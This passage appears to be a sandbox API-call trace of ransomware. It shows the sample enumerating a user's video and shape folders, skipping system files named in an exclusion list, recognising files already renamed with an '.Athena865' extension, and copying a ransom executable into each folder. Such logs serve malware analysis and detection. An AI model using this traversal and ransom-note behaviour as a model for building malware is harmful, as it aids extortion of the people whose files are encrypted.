lpString2="..") returned 1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="windows") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="bootmgr") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="temp") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="pagefile.sys") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="boot") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="ids.txt") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="ntuser.dat") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="perflogs") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="MSBuild") returned -1 [0101.650] lstrlenW (lpString="_private") returned 8 [0101.650] lstrcpyW (in: lpString1=0x241e8ce, lpString2="_private" | out: lpString1="_private") returned="_private" [0101.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b6a8 [0101.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53d360 [0101.650] lstrcatW (in: lpString1="_private", lpString2="\\" | out: lpString1="_private\\") returned="_private\\" [0101.650] lstrcatW (in: lpString1="_private\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="_private\\HOW TO BACK YOUR FILES.exe") returned="_private\\HOW TO BACK YOUR FILES.exe" [0101.650] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.653] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0101.653] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.653] ReleaseMutex (hMutex=0xec) returned 1 [0101.653] CloseHandle (hObject=0xec) returned 1 [0101.653] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0101.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0101.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b6c0 | out: hHeap=0x4f0000) returned 1 [0101.653] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned 66 [0101.653] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E6AFCBC53FBCC3D59689AF06DA1088D6") returned 0xec [0101.653] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.653] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0101.653] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.653] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.654] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.654] GetLastError () returned 0x0 [0101.654] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.654] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.655] CloseHandle (hObject=0xf4) returned 1 [0101.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.655] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.655] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc76c7080, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc76c7080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.655] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.655] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.655] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.656] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc76c7080, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc76c7080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.656] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.656] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.656] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.656] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.656] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe72dff40, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0x1f11a9d0, ftLastAccessTime.dwHighDateTime=0x1d4ce6f, ftLastWriteTime.dwLowDateTime=0xc76089a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3YVoBFm.mkv.Athena865", cAlternateFileName="3YVOBF~1.ATH")) returned 1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2=".") returned 1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="..") returned 1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="windows") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="bootmgr") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="temp") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="pagefile.sys") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="boot") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="ids.txt") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="ntuser.dat") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="perflogs") returned -1 [0101.656] lstrcmpiW (lpString1="3YVoBFm.mkv.Athena865", lpString2="MSBuild") returned -1 [0101.656] lstrlenW (lpString="3YVoBFm.mkv.Athena865") returned 21 [0101.656] lstrcpyW (in: lpString1=0x241e8ce, lpString2="3YVoBFm.mkv.Athena865" | out: lpString1="3YVoBFm.mkv.Athena865") returned="3YVoBFm.mkv.Athena865" [0101.656] lstrlenW (lpString="3YVoBFm.mkv.Athena865") returned 21 [0101.656] lstrlenW (lpString="Athena865") returned 9 [0101.656] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.656] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d29290, ftCreationTime.dwHighDateTime=0x1d4c74f, ftLastAccessTime.dwLowDateTime=0x4affd480, ftLastAccessTime.dwHighDateTime=0x1d4d2e9, ftLastWriteTime.dwLowDateTime=0xc762eb00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x168c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6GN7BUw0CPUmuCf.mp4.Athena865", cAlternateFileName="6GN7BU~1.ATH")) returned 1 [0101.656] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.656] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.656] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2=".") returned 1 [0101.656] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="..") returned 1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="windows") returned -1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="bootmgr") returned -1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="temp") returned -1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="pagefile.sys") returned -1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="boot") returned -1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="ids.txt") returned -1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="ntuser.dat") returned -1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="perflogs") returned -1 [0101.657] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="MSBuild") returned -1 [0101.657] lstrlenW (lpString="6GN7BUw0CPUmuCf.mp4.Athena865") returned 29 [0101.657] lstrcpyW (in: lpString1=0x241e8ce, lpString2="6GN7BUw0CPUmuCf.mp4.Athena865" | out: lpString1="6GN7BUw0CPUmuCf.mp4.Athena865") returned="6GN7BUw0CPUmuCf.mp4.Athena865" [0101.657] lstrlenW (lpString="6GN7BUw0CPUmuCf.mp4.Athena865") returned 29 [0101.657] lstrlenW (lpString="Athena865") returned 9 [0101.657] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.657] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0101.657] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0101.657] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0101.657] lstrcpyW (in: lpString1=0x241e8ce, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0101.657] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0101.658] lstrlenW (lpString="Athena865") returned 9 [0101.658] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.658] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0c1cc70, ftCreationTime.dwHighDateTime=0x1d4c7f4, ftLastAccessTime.dwLowDateTime=0x8033d680, ftLastAccessTime.dwHighDateTime=0x1d4d229, ftLastWriteTime.dwLowDateTime=0xc7654c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1d10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f-3vjzYl3-wGj3OqsI.flv.Athena865", cAlternateFileName="F-3VJZ~1.ATH")) returned 1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2=".") returned 1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="..") returned 1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="windows") returned -1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="bootmgr") returned 1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="temp") returned -1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="pagefile.sys") returned -1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="boot") returned 1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="ids.txt") returned -1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="ntuser.dat") returned -1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="perflogs") returned -1 [0101.658] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="MSBuild") returned -1 [0101.658] lstrlenW (lpString="f-3vjzYl3-wGj3OqsI.flv.Athena865") returned 32 [0101.658] lstrcpyW (in: lpString1=0x241e8ce, lpString2="f-3vjzYl3-wGj3OqsI.flv.Athena865" | out: lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865") returned="f-3vjzYl3-wGj3OqsI.flv.Athena865" [0101.658] lstrlenW (lpString="f-3vjzYl3-wGj3OqsI.flv.Athena865") returned 32 [0101.658] lstrlenW (lpString="Athena865") returned 9 [0101.658] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.658] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf1c2e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.658] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.658] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949798e0, ftCreationTime.dwHighDateTime=0x1d4c5e6, ftLastAccessTime.dwLowDateTime=0xc7654c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7654c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u8GDhzgOr1", cAlternateFileName="U8GDHZ~1")) returned 1 [0101.658] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.658] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.658] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2=".") returned 1 [0101.658] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="..") returned 1 [0101.658] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="windows") returned -1 [0101.658] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="bootmgr") returned 1 [0101.659] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="temp") returned 1 [0101.659] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="pagefile.sys") returned 1 [0101.659] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="boot") returned 1 [0101.659] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="ids.txt") returned 1 [0101.659] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="ntuser.dat") returned 1 [0101.659] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="perflogs") returned 1 [0101.659] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="MSBuild") returned 1 [0101.659] lstrlenW (lpString="u8GDhzgOr1") returned 10 [0101.659] lstrcpyW (in: lpString1=0x241e8ce, lpString2="u8GDhzgOr1" | out: lpString1="u8GDhzgOr1") returned="u8GDhzgOr1" [0101.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b6c0 [0101.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x5221b0 [0101.659] lstrcatW (in: lpString1="u8GDhzgOr1", lpString2="\\" | out: lpString1="u8GDhzgOr1\\") returned="u8GDhzgOr1\\" [0101.659] lstrcatW (in: lpString1="u8GDhzgOr1\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe") returned="u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" [0101.659] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my videos\\u8gdhzgor1\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.660] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64703670, ftCreationTime.dwHighDateTime=0x1d4d5a6, ftLastAccessTime.dwLowDateTime=0xb07c25c0, ftLastAccessTime.dwHighDateTime=0x1d4d4f1, ftLastWriteTime.dwLowDateTime=0xc767adc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x10de0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", cAlternateFileName="VEFVTK~1.ATH")) returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2=".") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="..") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="windows") returned -1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="bootmgr") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="temp") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="pagefile.sys") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="boot") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="ids.txt") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="ntuser.dat") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="perflogs") returned 1 [0101.660] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="MSBuild") returned 1 [0101.660] lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865") returned 34 [0101.660] lstrcpyW (in: lpString1=0x241e8ce, lpString2="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865" | out: lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865") returned="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865" [0101.660] lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865") returned 34 [0101.660] lstrlenW (lpString="Athena865") returned 9 [0101.660] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.660] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac1a5c0, ftCreationTime.dwHighDateTime=0x1d4c91a, ftLastAccessTime.dwLowDateTime=0xc76a0f20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc76a0f20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xq4jS8elFnsM1RuTo", cAlternateFileName="XQ4JS8~1")) returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2=".") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="..") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="windows") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="bootmgr") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="temp") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="pagefile.sys") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="boot") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="ids.txt") returned 1 [0101.660] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="ntuser.dat") returned 1 [0101.661] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="perflogs") returned 1 [0101.661] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="MSBuild") returned 1 [0101.661] lstrlenW (lpString="Xq4jS8elFnsM1RuTo") returned 17 [0101.661] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Xq4jS8elFnsM1RuTo" | out: lpString1="Xq4jS8elFnsM1RuTo") returned="Xq4jS8elFnsM1RuTo" [0101.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b690 [0101.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x5424b0 [0101.661] lstrcatW (in: lpString1="Xq4jS8elFnsM1RuTo", lpString2="\\" | out: lpString1="Xq4jS8elFnsM1RuTo\\") returned="Xq4jS8elFnsM1RuTo\\" [0101.661] lstrcatW (in: lpString1="Xq4jS8elFnsM1RuTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe") returned="Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" [0101.661] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my videos\\xq4js8elfnsm1ruto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.661] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd079b50, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0x93d0e780, ftLastAccessTime.dwHighDateTime=0x1d4d25d, ftLastWriteTime.dwLowDateTime=0xc76c7080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, 